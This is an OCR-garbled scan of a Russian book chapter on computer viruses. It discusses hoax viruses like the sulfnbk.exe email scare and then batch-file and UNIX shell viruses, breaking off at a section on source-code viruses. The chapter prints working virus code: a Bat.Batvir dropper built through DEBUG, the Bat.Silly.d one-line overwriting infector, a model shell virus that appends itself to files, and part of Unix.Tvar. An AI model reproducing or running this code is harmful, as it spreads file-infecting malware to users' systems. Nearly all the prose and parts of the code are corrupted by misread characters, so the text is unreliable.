MCHee mHpOK>TO H3BeCTH0CTb ripHOOpe/IO CpaBHHTCJIbHO He6o.ibiuoe 

KOJlIIHeCTBO pa3HOBHAHOCTeH BHpyCOB AJIfl OrpaHHHeHHOrO KOJIHHeCTBa 

onepauHOHHbix chctcm h iipHKJiaztHbix nporpaMM. 03HanaeT ah  sto, hto 

ocTajibHbie cpeflbi, b K0T0pbix noTCHHHaJibHO Moryr cymecTBOBaTb BHpy
cbi, no KaKOH-TO npHHHHe 0Ka3a;incb ycToiiHHBbi k  K0Mnbi0TepH0H «3a - 

pa3e»?
OTHiOAb. E. KacnepcKHH b cboch «BnpycHOH 3nnHKJione;iHH» c(J)op- 

MyAHpOBa.T TpH OCHOBHbIX yCJIOBHH mWiBJieHHS! BHpyca B TOH H71H HHOH 

cpefle:
O  nony.iHpHOCTb, t o  ecTb m npoKoe pacnpocTpaHeHiie AarmoH chc - 

TeMbi;
O  AOKyMeHTHpOBaHHOCTb -  H3AHHHe pa3H006pa3H0H H flOCTaTOHHO 

nojiH ofl AOKVMeHTauHH no CHCTene;

O  uesam m ueHHocTb cncTeMbi h a h  cymecTBOBamie iiaBecTHbix VH3- 
BHMOCTeH b  ee 6e3onacHocTH h  npiuoacem iHX.
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Kaacaoe H3 nepeHHCJieHHbix vcjiobhh E. KacnepcKHH cneji Heo6xoan- 
mwm, a 0/i;H0BpeMeHH0e Bbinojmeime Bcex Tpex -  #oct3tohhum  jxnn no- 
HBJieHiM pa3Hoo6pa3Hbix Bpe/ioHocHHx nporpaMM [14].

MhHMH CJIOBaMH, BHpyCH B03M05KHW npaKTHHeCKH Be3fle. H o  HX nH- 
uiyT KOHKpeTHbie jiiojih c KOHKpeTHbiMH ucjihmh. 4 a m e  Bcero BHpycbi 
co3^aioTCH /i jih toh  cpezibi, b KOTopoft hx  npom e HanncaTb, ra e  ohh 6 u c t-  
pefi h iunpe pacnpocTpaHHTca, noceiHT 6o;tbiuee kojihhcctbo KOMnbK>- 
TepoB. Mojkho, kohciho, caMOCTOHTejibHO pa3o6paTbc.fl b ycTponcTBe 
KaK0ii-MH0y/(b peflKO Hcnojib3yeMoii cnemicfniwcKOH cpe^bi, HanncaTb 
jvia  Hee BnojiHe >KH3Hecnoco6HbiH BHpyc, ho pacnpocTpaneHHH oh He n o
jiyHHT, BHHMaHHH k ce 6 e  He npHBJienex, noapaxaHHM He Bbi30BeT h thxo  

ynoKOHTca b «npo6npK e» BHpycoJiora. B o t iioneMy Bee nnuxyT BHpycbi Ha 

H3biKax acceM6 jiepa hjih C h  Aim  Windows, h hhkto, Haxo/jHCb b 3/ipaB0M 

yMe h TBepaott naMHTH, He ncnojibayeT hjih 3Toro hsuk Eiffel h onepaun-
OHHyK) CHCTeMy OS/2.

TeM He MeHee no;io6noe HHor/ia cjiynaeTcn, n nofl b h t p h h h h m h  CTeK- 
jiaMH b  MV3ee sksothhcckhx BHpycoB no^nac mojkho oftnapyacMTh no/i- 
JiHHHbie «5KeMHyjKHHbi». .ZlaBaiiTe ace 6pocHM Ha hhx  6erjibiii B3rjiHfl.

7 . 2 . 1 .  M M<|)M HecKiie B u p y c b i

rioaca.!iyH, HanSojiee 3K30THMeCK0H pa3HOBHflHOCTbIO BHpycoB HBJIHIOT- 
CH Te H3 HHX, KOTOpbie... HHKOr/13 He CVIUeCTBOBaJIH. KaK HH CTpaHHO, HX 

oneiib He Majio, h ymep6  o t hhx cpaBHHM c noTepHMH o t peajibHbix Bpe- 
4 0 H0CHbix nporpaMM. H o  aaace ecjra Bpe/ia o t hhx h He Ha6jnoaaeTCH, pe-
30H3HC OHH BM3WB3IOT 6oJIblUOH.

Ilpeacae Bcero ctoh t ynoMHHyTb mhcJmihcckhh BHpyc Nichols, «koh- 
4>HiieHUHaJIbHHMH CBejleHHHMH >> o KOTOPOM B KOHI[e 1980-X TOflOB o6Me- 
HHBajiHCb apyr c apyroM caMH BHpycoJiora. HjrraTV H3 BocnoMHHamiH 

/I- l'pH3H0Ba -  OHeBHana «OXOTbI» 3a 3THM BHpVCOM -  M05KH0 HaHTH BUIUe, 
b rjraBe, nocBHiueHHon 3arpy30HH0H «3apa3e». 3/iecb ace HanoMHHM, hto  

Jio>KHaH HHcfiopManHH o Nichols h ero «cHrHaTypa» noH3flo6 HJincb 3bto- 
p3M oflHoro H3 aHTHBHpvcoB b KaHecTBe «MapKepa» ajih pa3o6jiaHeHHH 
«Kojuiei>, Bopyionmx nyacne pa3p300TKH. B Komie 2009-ro HCTopHH 
noBTopHJiscb: HeMeqKHe acypHajiHcrbi «no,zt6pocHJiH» Miip0B0My 3hth- 
BHpycHOMy coo6iuecTBy JioiacHyio Hii(]x>pManHio o Bpe/joHocHocTii coBep- 
uieHHo «3/[opoBoro» cjjaH-ia, -  h 4epe3 HecKOJibKO MecnneB asa aecHTtca 
aHTHBnpycoB y>Ke pacno3H3Bajni ero b KanecTBe Bpe/ioHocnoH nporpaM
Mbi. JIa6opaTopHH KacnepcKoro noBTopmia 3KcnepnMetiT -  na stot pas 

uejian rpynna 113 10 «mhcthx>> 4>aiiJioB peryjinpHO 3arpy>Kajiacb Ha caiiT 
http://www.virustot-al.com. Kyaa jik>6oh acejiaiomml MoaceT nocJiatb no-

http://www.virustot-al.com
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A03pHTeOT>Hbra o6T>eKT h rfle BHpycoJiora HacreHbKo «nacyTca» b noHc- 
Kax ^CBejKaTHHKH*. M CHOBa aBTopu 14 aHTHBHpycoB, .aaace He ribiTaacb 
pa36HpaTbCH BO BHyTpeHHeM yCTpOHCTBe MH(J)HHeCK0H «3apa3bl», BHCCJIH 
(fjaftjibi b cboh cnncKH Bpe^oHocHbix nporpaMM.

HepeaKo npHHHHOH bo3Hhkhobchhm •« Biipyc hhx c,Ka30K» cJiyacaT 
o o b ra ib ie  nporpaMMHCTCKHe oiuii6kh. H anpHM ep, b cepe/iHHe 199 0 -x roaoB  

aMepHKaHCKHH aHTHBHpyc M S A V  oiuh6oviho HaxoaHJi « 3 apa3y »  BiiyTpii 
A pyro ro  aHTHBHpyca -  OTenecTBeHHoro A ID S TE S T . B Kotme 1990-x ro -  

aoB aHTHBHpyc DrW eb, ycTaHOBjreHHbiii Ha iioh tobhx cepBepax, 6jjokh- 
poBa.T 0 (6 H0 BJieHiM 6a3 anTHBiipj'ca AVP, cHHTaa hx « 3apa»ceHHbiMH». 

Yace b hobom Bene M Horne H3BecTHbie aHTHBHpycbi, cpean KOTopwx 

Symantec Antivirus, M cA fee  V SE , AVAST Anti-virus h  npoque, Heo/mo- 

KpaTHo .to»cho o6t>hbjihjih «3apa3oil» He TOJibKO jipyr flpyra, ho h craH- 

flapTHbie KOMnoHeHTU W indows, a n0T0M eme h nbrrajmcb hx ^JieMHTb*, 
mto npHBO^HJio k Kpaxy onepaijHOHHOH chctcmm. Pa3VMeeTca, Bee sth  ii 
n o a o 6 Hbie ouih6kh oneparaB H o  HcnpaB.iH.iHCb, ho cpe/m n0Jib30BaTeJieii 
ao jiro  eme 6po/injiii caMbie ^hkhc cjiyxH.

O/iHaKo caMbiM aKTHBHbiM «reHepa?opoM» BHpycHbix cjivxob hbjih- 
eTCH, KoneMHo, MajiorpaMOTiiaa qacTb KOMnbioTepHoii o6mecTBeHHocTii. 
IIpHMep. O^Haayibi b noMTOBbiii hiuhk npiixoflHT a.ieKTpoHHoe nncbMo 
OT xopoiuo H3BeCTHOro HeJIOBeKa, KOTOpOMV Bbl nOJIHOCTbK) aOBepRCTe. 
HanpHMep, TaKoe:

It is important that you look into your computers and check if you 
have the following virus: sulfnbk.exe. If anybody has this virus in C:\, 
delete immediately because it attacks on next day 25 of the month 
m ay and will delete all files on your PC. This virus came with E-Mail 
and is invisible for virus scanners. Please pass this message to other 
people.
(BaxHO, hto6u Bbi 3amaHynn b Bam KOMnbtorep h  npoBepujw Ha- 
jimMe cneflyiomero BHpyca: sulfnbk. exe. Ec/in ytcoro-ro stotB u pyc  
odHapyxtiTCft Ha C:\, ya a m re  HeMe/yjeHHO, noroMy vto oh Han Her 
araKOBarb Ha cjieaytomuti fleHb nocne 25 Man u corper Bee cpau- 
jibt Ha BaiueM PC. 9 t o t  BHpyc npmoflMT no E-Mail m HeBMflMM /xna 
BHpycHbix cKaHepoe. noxanyticra, nepewnm e sto nncbMo apyruM  
ZllOAflM.)

TaKoe h no;io6iroe hm rmcb.Ma, nepeBeaeHHbie Ha caMbie pa3HHe h3mkh 
Hapo/ioB Miipa, bo MHoacecree paccMJiaJmcb « 6;iMTejibHbiMH»  nojibsoBa- 
TeJiHMH /ipyr jjpyry b 2001 ro/iy. HeKOTopbie Bapiiairrbi nucew flaace co- 
aepaca.iH nouiaroBbie HHCTpyKmui, KaK naiirH na jihckc h yaajiirrb (Jmhji
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S U L F N B K . E X E .  06Hapy>KHaocb h HeMajio « C B H a e T e jie i i»  r io B p e ;« a e H H H , 

hko6h  HaHOciiMbix 3Thm «BHpycoM». IlaHHKa poc.na, n0fl06H0 OHeacHOMy 
KOMy, KarameMyca c ropbi, h n jm n a c b  necKOJitKO MecaueB. E e  noaorpeBaJiH 

cjieayiomHe 06cT0frreJibCTBa; c jr a iu i  S U L F N B K . E X E  aeiicTBHTejibHo Haxo- 
jxtvicsi Ha Bcex KOMnMOTepax c W i n d o w s  9 X ,  a aHTHBHpycHbie KOMnaHHH 

xpafflMH no e r o  noBoay TaHHCTBeHHoe MOjraamie. H a  caMOM aeae ynoMH- 
HyruH 4>a.uJi coaepacaa CTaHflapTHyro y u m m y  OnepanHOHHOH chctcmw 

W i n d o w s  h 6hji aScojuonio 6e3Bpe/ien. TeM He MeHee thchhh h tmchhh He- 
KBa-TH(|)HimpoBaHHbix n 0 J ib 3 0 B a T e a e i i ,  noflBep»:eHHbix MaccoBoft HCTepnii, 
HCKajiH, HaxoaiuiH ii 6 e 3 a c a J io c T H o  yHHHToacajiH <BHpyc», a totom  cneuimiH 

nepecjian> TpeBoacnoe nHCbMO aaiibiue, cbohm apy3bHM h 3HaKOMbiM.
K  coacaaem n o, HCTopna c «B H p ycoM  S U L F N B K >  n e  eflHHHHHa. C  ce- 

pe/iim bi 1 9 9 0 - x  ro a o B  nono6>Hbie HHijH/jeHTU c Hecym ecTByioiUH M H  

BHpycaMH n p oH cxoa n ^ H  i i  n poH cxoflH T  n o  HecKOJibKy pa3 b ro a . TaK, 
b 1 9 9 4  r o ; iy  no jib30B aTejn i 3a6pac.biBa.xn a p y r  a p y ra  n peaynpe»:aeH H H M H  

o  B H pyce « G o o d  T i m e s * - ,  KOTOpblH h k oom  3 apaxcaji KOMnbK>TepM b t o t  

MOMeHT, Koraa 3 J ie K T p o H H o e  n ucbM o rio cT yn a jio  c cepBepa b noHTOBWH 

hu ihk . B  1 9 9 7 - 1 9 9 8  ro a a x  noHTOBhrii Tpac})HK 6 biJi naB oaneH  TpeBoac- 

hmmh c o o 6 m eH M M H  o  Bpe/JOHOCHOM cKpHHceHBepe « B u d w e i s e r  f r o g s » ,  

KOTOpblH Ha caMOM a e a e  6b i a  a6 c 0 JiKiTH0 6 e 3 B p e a e H . B e e  t o t  * e  2 0 0 1  ro a  

sanoMHHJica He to jim co  « BH pycoM  S U L F N B K * - ,  h o  h  HCTepHKaMH, cbh- 

3 aHHbiMH c MH(J)HHecKHMH iiOMTOBbiMM HepBHMH « V i r t u a l  C a r d  fo r  y o u » ,  

^ C A L I F O R N I A  I B M *  h  « G I R L  T H I N G * - .  B  2 0 0 2  r o a y  H e B H H H o ii a c e p T -  

b oh  n ep en yraH H b ix  n oab 30 B aT e jie ii CTaji (JjaHa J D B G M G R . E X E  -  kom - 

n oH eirr Java-M aniHHW . HaMHTHa h  «C T p a iim a K a » 2 0 0 6 - r o ,  n ocB am eH H aa 

H ecym ecTB y iom eM y B H p ycy  ^ O ly m p ic  T o r c h # -. A  B oo6 m e, Ha ca ih -ax  

aHTHBHpycHbix KOMnaHHH S y m a n tec  h  S o p h o s  h m o o tc h  T eM aT in ecK H e 

C T p aH H H K H , H a  K O T o p b ix  n e p e H H c a e H b i  6o j i e e  2 6 0  j i o k h h x  n p e a y r i p e a c a e -  

h h h  o  BH pycax !

Yb h , Bee s to  H e  cTOJibKO C M e i i m o , CK O JibK O  ne'tajibno. B e a b  Ha jiobko 
cocTaBaeHHbie ( f)a jib iU H B K H , c o a e p a c a m i i e  ccu.’ikh Ha I B M ,  M i c r o s o f t  h  

C N N ,  p e a r a p y r o T  He tojilko p a a o B b i e  n 0 J ib 3 0 B a T e ;iH , ho h a a M H H b i h a a a c e  

pyKOBOitfrreJiH KpynHbix n p e a n p H H n i i i .  H3BecTnw c i i y n a n ,  Koraa rioe.xe 
nojiyHeHHH noao6m>ix npeaynpe>KaeHiiH OTKJimajnicb «na npocJjH.iaK- 
THKy»  KopnopaTHBHbie cepBepbi, npepbiBa.xacb Ha Muorne nacbi pa6oTa 
o4>hcob, Bbino.THHjiacb a.XHTe.rTbHaa h 6e 3y c n e 1.11 H a n  «HHCTKa» ot Hecy- 
mecTByiomux BHpycoB.

BoncTHHy, 43ac,TaBb aypaica Bory MoaHTbca -  oh ce6e ao 6 pacmHoeT». 
H o MeaoBenecKaH raynocrb Hen3JieHHMa. Mojkct, b CBH3H c 3thm npocTo 
He 3ann.MaTboi npoBOKamiHMH?
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7.2.2. Batch-BMpycbi
B TCMeHHe MH0THX Aec«TH./ieTHH OCHOBHbIM MCTOflOM HHTepaKTHBHoro 
B3aHMOAeHCTBHH no;ib30BaTejia c OnepanHOHHOH cHCTeMoii 6 bi.ua «ko- 
MaHAHaa CTpoKa». Il0.7ib30BaTejib Hadwpaji Ha KJiaBHaType KOMaHAbi ( 3a- 
nycTHTb nporpaMMy, nepenMenoBa'Tb huh yAajiHTb dpafin h  t .  n .), a  one- 
paaHOHHaH CHCTeMa OTBenajia eMy tck ctob m m h  co o 6 meHHHMH Ha 3KpaHe 
AHcnjiea. «C Tapm ee n 0K0 JieHHe» HaBepHaKa BcnoMHHT npHHunnw nojib- 
30BaTe;tbCK0H pa6 oTU b onepauHomibix cucreM ax O C P B /R S X -1 1 M  h 
P A O O C /R T -1 1  ajih jih hchk h  C M  3 B M /P D P - 1 1 .  O nepam ioH H aa ch - 
cTeMa U N IX , p a3pa6 oTaHHaa b Hanajie 1 9 7 0 -x  toao b , Toace 6buia opneH- 
THpoBaHa Ha K?iaBHaTypH0-3KpaHH0e B3aHM0AeHCTBiie. IIoAooHbiM ace 
0 6pa30M ri0.ib30BaTeJiH o 6 ma,iHCb c onepaipioHHbiMH CHCTeMaMH C P /M  
h M S -D O S , noaBHBiuHMHca b Hana;ie 1 9 8 0 -x  toao b .

B  onepaim oH H bix CHCTeMax M S -D O S  h W in d o w s  9 X  3a anajio roB oe  

B3aHMo,aeHCTBHe c nojibaoBaTejieM oTBenaeT « koM ahahm h n p ou ecco p »  

C O M M A N D .C O M ,  a b  W in d ow 's  N T  Ha cMeHy eMy npnm eji necKo.ib- 

ko 6 ojiee «npoABH H yTbiii» C M D .E X E .  0 6 a  oh h  yMeioT Bhino.>iHaTb He- 
CKOJibKO aecaTKOB 6a30Bbix KOMaHa, aocTaTOHHbix j\m  noJiHOHenHOH pa- 

6 o t h  n0Jib30BaTe/ra c nepcoHajibHoii 3 B M ,  TaKHx KaK:

O  copy  <ncTOUHHK>,<npHeM HHK> -  CKonnpoBaxb (Jjaii.'i;

O  m ove  <HCTOHHHK>,<npHeMHHK> -  nepeMecTHTb cJiaHJi;

O  del < 4 )a iL i>  -  yaaJiHTb 4 >aEbi;

O  ren  <HMal>, < h m «2 >  -  nepeHMCHOBaTb $ a iu i hjth KaTa^or;

O  m d <HMa> -  co3AaTb hobm h Kara.tot c yKa3aHHbiM HMeHeM;

O  rd  < h m h >  -  vAajuiTb KaTajior c yKa3aHHMM HMeHeM;
O  cd <K aT a jio r>  -  cziejiaTb yKa3anHbiii K ara jior TeKymHM;

O  d ir -  BHBecTH cnncoK cJm h j io b  KaTanora;

O  type <4>aH.ri> -  BbiBecra coAepacHMoe tjjaiijia Ha SKpan:

O  echo <cT p oK a>  -  B b iB e c ra  VKa3aHHyio CTpoKy Ha 3Kpan

O  H in .
B ee a m  KOMaHAbi noAAep>KHBaiOT MHoroHHCJieHHbie ynpaB-

jia iom ne peacHMaMH Hcn0Jib30BaHHa. H anpHM ep, KOMaHAa « C O P Y  / Y  

F IL E 1  F I L E 2 »  npoH 3BeAeT KomipoBaHHe Aaace b  tom  cjiynae, ecjin (jjaiiii 

«F IL E 2 » -  yace cymecTByeT, h  npn  a tom  y  ri0;ib30BaTeJia He 6 yAeT 3anpom e- 

ho noATBepjKAeHHe onepam ni. IIo.TesHOH oco 6 eHHocTbio aBjiaeTCa B03- 

MOJKHocTb Hcn0Jib30Bamia «u ia 6 .JiOHOBs>: 3BC3AoqKa « * »  03HanaeT «B ce »,  

a BonpocHK « ? »  o 3HaiiaeT « jh o 6 o ii» . H anpiiM ep, KOMaHAa « D E L  * .T X ? »  
ysajiHT Bee c Tpex6 vKBeHHbiM pacmnpeHiieM, HaMvinaiomHMCH c

« T X » .  Ba>KHyio pojib nrpaioT chmbojim nepena3HaHeHna noTOKOB BBOAa-
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RMHnnr <<>. -  yKa3HBaeT, OTKyaa KOMaHfla 6yaeT npHHHMaTb aaHHbie; 
«>>• -  Kyaa KOManaa 6yaei nepe^aBan. /taHHbie; « » »  -  k «XBocTy» Ka- 
Koro o6fbeKTa KOMamia 6yaeT nprnmcHBaTb flanHue; — ycjiyraMH Ka- 
koh npoMeacyTOHHOH nporpaMMbi-cJjujibTpa HyacHO B0cn0Jib30BaTbca fljra 
BWBOfla. HanpHMep, KOMaHaa «ECHO Hello! >FILE1* BWBeaeT CTpoKy 
«Hello!> He Ha aicpaH, a co3,aacT tckctobh h  4>aHJi «FILE1» c yKa3aHHofi 

CTpoKoii BHyrpH.
Jinx aBTOMaTH3auHH p a6oTb i n0Jib30BaTe/iH b on ep am ioH H b ie  cncTe- 

Mbi o t  M ic r o s o ft  6biJia BBeaena B03M0JKH0CTb rp y n  rw poB aTb KOMaH^w b 

TeKCTOBOM Ratine c  p a cu iiip em ieM  « . B A T »  (hjih « C O M  M A N D . C O M * )  

h jih  « . C M D »  ( f l jw  « C M D . E X E » )  n  3anycK aTb  n o a o 6Hbie (Jmmjim, c jio b h o  

n porpaM M bi. B  c n c reM y  KOMaHfl flonoJiHHTejibHO 6h jih  BKjnoMeHbi:

O o n e p a T o p u  «IF*. «FOR* h  «GOTO», n o3BOJMtomne ynpaBJiHTb 

n0CJie/i0BaTejibH0CTbf0 BbinojiHeHHtf ;
O  on ep aT op  «CALL* ajih  BH30Ba f lp y r a x  B A T -n p orp a M M ;

O  B03M0>KH0CTb Hcn0Jib30BaTb nepeM eH H bie B ana «%X* h  onepaTO - 

p H  «SHIFT* h  «FOR» flJiH pa6oTb i c  hhm h

O  H M H orae  a p y n ie  n o jiesH H e  bo3Mojkhocth.
Han6oJiee H3BecTHUM  npH M epoM  BAT-nporpaMM hbjihctch coflepacn- 

M oe KOHcjjHrypauHOHHoro (fjanjia ^AUTOEXEC.BAT*, aBTO.waTHHecKM 

C TapTy iom ero  n p n  3arpv3Ke on eparm oH H U X  chctcm MS-DOS h Windows 
9X h  npeflH a3HaHeHHoro a/ui HacTpoHKH napaM eTpoB pa6oTbi onepaun-
OHHOH CHCTeMbi.

Pa3  e c rb  HeKoe noao6ne H3biKa nporpaMMHpoBaHiia h  cnoco6 o<J>opM- 

JieHHH ^ n porp aM M * ju ih  H ero , rioneM y 6bi He noHBHTbcn B H pycaM ? O h h  

H nOHBHJIHCb, npHHeM npaKTHHeCKH OflHOBpeMeHHO c 4HOpMaJIbHbIMH». 

IT o  KpaHHefl M epe, t c k c t  n p o c reH iu e ro  B A T -B H p y c a  6 u j i  0n y 6jn iK 0BaH b 

1988 r o a y  b  KHHre Pajrb<})a B rop repa  «B o jib iu o H  cnpaBOHHHK n o  KOMnbio- 

TepHblM  B H pycaM *.

nocKo.TbKy BAT-nporpaMMa npeflCTaBJweT co6oh TeKCTOBbin (jjaiiJi 
c Ha6opoM nocjieflOBaTeJibHO BHnojmaeMbix KowaHji, t o  a jih ee 3apa*e- 
h h h  flocTaTOMHO BnHcaTb BHpyc b  Haqajio TaKoro (J)aH.na h jih  npunncaTb 
k Konuy

CjieayeT oTMeniTb, mto «H3MK» BAT-nporpaMM pa3BiiBaJicfl bmcctc c 
onepamioHHbiMH cncTeMaMH. HanpHMep, b MJiafliiiHX BepciiHX M S -D O S  
He nofl^epsKHBaJicH onepaTop «F O R * , cootbctctbchho, h BHpycaM He 
XBaTajio /um  pa3MHoaceHi«i B03MO*'HOCTew BAT-H3biKa, npHXo/iHJiocb wc- 

no.ib30BaTb BHeuiHHe npor paMMbi. IGiaccHHecKHM npiiMepoM «paHirax* 
BAT-BHpycoB mojkho cHHTa'ri) Bat.Batvir, K0T0pbiH eoaepacaji bhvtph 
mecTHaauaTepmnbie koah 6airroB COM-nporpa.MMbi h 3acTaB.ria.ri cTan-
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AapTHbiH oTiia^HUK DEBUG c o 6n paTb  h  3 an ycK aT t ee. IIporpaMMa hc- 

Kajia h 3apa»cajia b TeKymeM KaTajiore BAT-c^aM-'ibi. TaKHM 06pa30M, Bat. 
Batvir 6h j i  chm 6h o 3om  H3 BAT- h  COM-BHpycoB:
#echo o f f  
c t t y  nu l
rem [BATVIR] '94 (c )  S to rrab rin ge r [P /S ]
echo e0100 B4 4E BA 35 02 CO 21 72 45 BA 9E 00 B8 02 30 CO 21 72 37 93 » b a t v i r . 9 4
echo e0114 B8 00 57 CD 21 51 52 80 FE 80 73 1F B8 02 42 33 C9 33 02 CD » b a t v ir . 9 4

echo e02B8 20 58 50 2F 53 50 00 0A 02 88 30 32 20 42 38 20 20 20 » b a t v lr . 9 4
echo g » b a t v i r . 9 4
echo q » b a t v i r . 94
debug< batv ir.94
d e l b a t v i r . 94
c t t y  con

A btop BHpyca Bat.Qpath ncn0Jib30Baji Ty >Ke H/ieio, h o  o6omeJica 
6e3 noMomH «DEBUG.EXE». ripaB/ja, eMy npmu/rocb onTHMH3HpoBaTb 
COM-KOMnoHeHT TaK, MTo6bi Bee ero 6aHTbi 6biJW OTO6pa»caeMbiMH chm -

BO/raMH:

©echo o f f
echo s& . . .  i - & i* & 9 0 i l l ( ib i7 8 7 i i l (  > ' 2 ' . com 
~2~ > bat

BMecTe c ycJioscHeHHeM BAT-H3UKa iioHBiuiacb bo3m o>khoctI) nncaTb 
coBceM KopoTKHe BHpycbi, HanpHMep nepe3anHcbiBaiomHH Bat.Silly.d:
© ctty  n u l
f o r  %%b in  (* .b a t )  do copy %0 %%b

C Apyroii CTopoHbi, 3TO oTKpbi.no flopory k  c03flaHiH0H30iupeHHbix no- 
,’iHM0pcJ)HK0B, HanpHMep BAT.Batalia5 hjih BAT.Polybat.

B KOJIJieKUHHX BHpycojioroB XpaHJITCH HecKOJibKO fleCHTKOB BAT- 
BHpycoB, ho Ha npaKTHKe hx, bh^hmo, cymecTBOBajio HaMHoro 6ojibiue. 
IIpocTo «3apa3a» aToro BHfla npaKTHHecwi He cnoco6Ha pacnpocrpaHHTb- 
Cfl OT KOMnbiOTepa K KOMIIbiOTepy, H n03T0My H3BeCTHOCTb nOJiyHIIJIH 
TOJIbKO Te pa3HOBHflHOCTH, KOTOpbie OblJIH OIIVOJIHKOBaHbl B 3JieKTpOH- 
Hbix »cypHajiax hjih nouiaHH aBTopaMH Heiiocpe^cTBeHHo BHpycoJioraM.

Eme 6ojiee MouiHbie cpeacTBa iiporpaMMHpoBannfl Ha KOMaH/iHOM H3bi- 
Ke npwcjTCTByioT b UNIX-iio/iofiHbix onepauHOHHbix cncreMax -  L i n u x ,  

BSD, Mac OS, QNX h t . n. K ycjiyra.w ii0Jib30BaTe/i>[ .-jthx onepaunoH- 
hux  cHO-TeM HMeioTCH HecKOJibKO KOMaHflHbix HHTepnpeTaTopoB (TaK Ha- 
3biBaeMbix *shell>>'oh): ash, bash, tcsh, ksh, csh, zsh h npo'itix. -  BbioHpaii 
jno6oji! H3biKii, noaaep>KiiBaeMbie hmh, nopoft pa.ijui'iawroi A0B0iibH0
CHJIbHO, XOTH OOIUIie KOMaHabi B HHX, KOHeHHO, HMCIOTCH:
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O Is -  BH B ecra  cnncoK cfjanjiOB KaTajiora;
O  Cp <HCT04HHK>,<npHeM HHK> -  CKOIIHpOBaTb (j)aHJi;

O  cat <<J)ait/i> -  oTo6 pa3 HTb coaepxHMoe (j>aM a;
O  mv <HCTOHHHK>,<npHeMHHK> -  nepeMecTHTb h jih  nepeHMeHO- 

B a T b  (J)aHJi;

O  r m  < 4 > a H J i>  -  y f la j iH T b  4>aHJi;

O  f i n d  < K p H T e p H ii  noHCKa> -  H airra
O  i f  < y c J i o B H a >  t h e n  <K O M aH flu>  else < K O M a H ^ b i>  f i  -  0 p r a H H 3 0 -  

B a r b  « p a 3 B i u i K y »  b  CKpunTe;
O  test <BbipaaceHHe> -  ccjxjpMHpoBaTb npH3HaK h c t h h h o c t h  hjih  

JioacHocni BbipaaceHHH;

O  f o r  < h m h >  i n  < o i h c o k >  d o  <KOMaH/ibi> d o n e  -  nepeHHCJiHTb c j i o -  

Ba H3 cnncKa 

O H npoHHe.

IlepBbie JTIOMHHaHHJI O CKpHnTOBbIX BHpycaX, HanHCaHHbIX Ha ko- 
M a H ^ H w x  HHTepnpeTaTopax fljisr U N I X - c h c t c m .  noaBHJincb b 1980-x r o -  

flax. H anpHM ep, b c m b x x  H3BecTHbix cneunajincTOB no K0 Mnbi0 TepH0H 

6 e3 onacHocTH T o M a  /lacjxfia -sBnpycHbie aTaKH Ha 6 e3 onacHocTb U N I X -  

CHCTeM» [3 9 ] h  Z l y m a c a  MaKHJipoa ^B npyco jio ru fl 101» [5 0 ] npuBezreiibi 
n p H M e p b i  npocTeiiuiHx BHpycoB n oao6Horo Tima. B o 3Mo>kho TaK >tce, h to  

KaJKflUH nporpaMMHCT, HaHHHaBIUHH H3VHaTb KaKyK)-JIH6 o  H3 KOMaHJl- 
Hbix o 6 ojioneK U N I X ,  Hanncaji KaK MHHHMyM o ah h  BHpyc. H o  m u  h h k ot- 
fla He y3HaeM 0 6  s th x  nonuTK ax, nocKOJibKy BepoaTHOCTb pacnpocTpaHe- 
h h »  TaKoro BHpyca c o a h o h  MauiHHbi Ha ap yry io  Hcne3aiome Majia.

B  KanecTBe npHMepa npHBeaeM ojiHy H3 «Mo/iejieH» U N I X - B H p y c a ,  ko- 
TopuMH 4) p a H n y 3C K H e aBTopu >K. EoH(}>aH, M .  KaHMapeK h  JK.-M. M a p n o H  

b  cbohx cTaxbax HJunocTpnpoBaJiH TeopeTHnecKHe paccyam eHiw  [4 1 ,4 2 ].

U Una Ka*aoro FName b TeKytiieM KaTa/iore 
f o r  FName in  * ; do
a Ecjih mma Fname He cosnaaaeT c coSoTseHHdM 
i f  [ SFName != $0 ] ; then 
# ilo 6aBviTb c s 69. k KOHtiy $afina FName 
c a t  $0 »  SFName 

f i  
done

A  b o t  (JjparMeHT «peajibHoro» BHpyca U n ix .T v a r

»! /b m /sh
i f  [ " $ 1” = ok j ; then 
f o r  i  in  » 
do
i f  [ -d  $ i  ] ; then
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cp $0 $ i 
co $ i  
$0 ok 4 
cd . .
e l i f  [ -n  "head -n 1 $ i  | g reo  - s  t / b in / "  ] [ - z  "g rep  -  TVAR $1" ]; then
echo » $ i  ; t a i l  -n 17 $0 » S i  
f i
done 
e ls e  
$0 ok &
f i
# TVAR

K.nsoHeByio pojib b MexaHH3Me pa3MH0»ceHHS[ BHpycoB HrparoT KOMaH- 
flbi « c p »  -  KormpoBaTb (f>aH;i; «c a t»  -  BhiBecTH co/iep>KHMoe ( j i a f a  Ha 
aKpaH (e e  bmbo/i nepenanpaBJiHexcH b (Jmhji npH rioMomu « » » ) .

TaKHM 06pa30M, BHpycu Ha KOMananbix »3UKax onepaqHOHHbix ch- 
cTeM cymecTByioT, h hx HeMajio (HanpHMep, Ha momcht HanHcaHHfl sthx  
cTpoK b ranepTeKCTOBOH aHUHKJione^HH E. KacnepcKoro yno.MHHVTbi 
88 ceMencTB SHELL-BHpycoB h 37 ccmcMctb BAT-BiipycoB), ho ohh 
HHKoraa He BbrabiBajm amiaeMHM, a narmcaHHe hx ocxa.xocb HHxeJuieK- 
Tya.xbHoft 3a6aBofi ajm  nporpaMMHCTOB.

Pa3Be x  3t o  njioxo?

7 . 2 . 3 .  B u p y c w  b  m c x o a h u x  T eK C T ax

KaK mu yace 3HaeM, nparcniHecKH Ha jikdoom H3biKe riporpaMMHpoBaHita 

B03M0»ceH «K y n a »  -  nporpaMMa, KOTOpaa b h b o a h t (nenaTaeT, oTo6paaca- 

eT ) CBOH Co6cTBeHHbIH HCXO&HblH TCKCT. H o «K yH H U » He yMCKDT 3apa5KaTb 

ce6e no/iootibie o 6i>eKThi ( t o  ecrb  He hbjih iotch Bnpyca.wH-napa3HTaMH) h 

He yMeiOT co3/iaBaTb h pa3MemaTb rae  6u  t o  hh 6h jio  cboh TOMHbie Kon im  

b BHae (JsaiiJioB ( t o  ecTb He hbjimiotch BHpycaMH-nepBaMH). J i m  3 to to  

hm Tpe6yeTca «n oM om b » co CTopoHU n0Jib30BaTe./ia, 3aKJiK)4aiom 'asich 

b -«pyHHOM» 3anycKe c nepeHanpaB-xeHiieM n 0T0K0B BbiBOfla, HanpHMep 

b o t  TaK: «VIRUS >NEW VIRUS». TeM He MeHee «H acToam H e» BHpycu, 

xa iBym iie, pa3MHo»caiomHecH h pacnpocTpam iom HecJi b bhzic h cxo^h u x  

TeKCTOB, cj'inecTByrox.

H eo6xofliiMbiM ycJiOBHeM cymecTBOBaHHfl ik w )6hoh « 3apa3H » hbjih - 
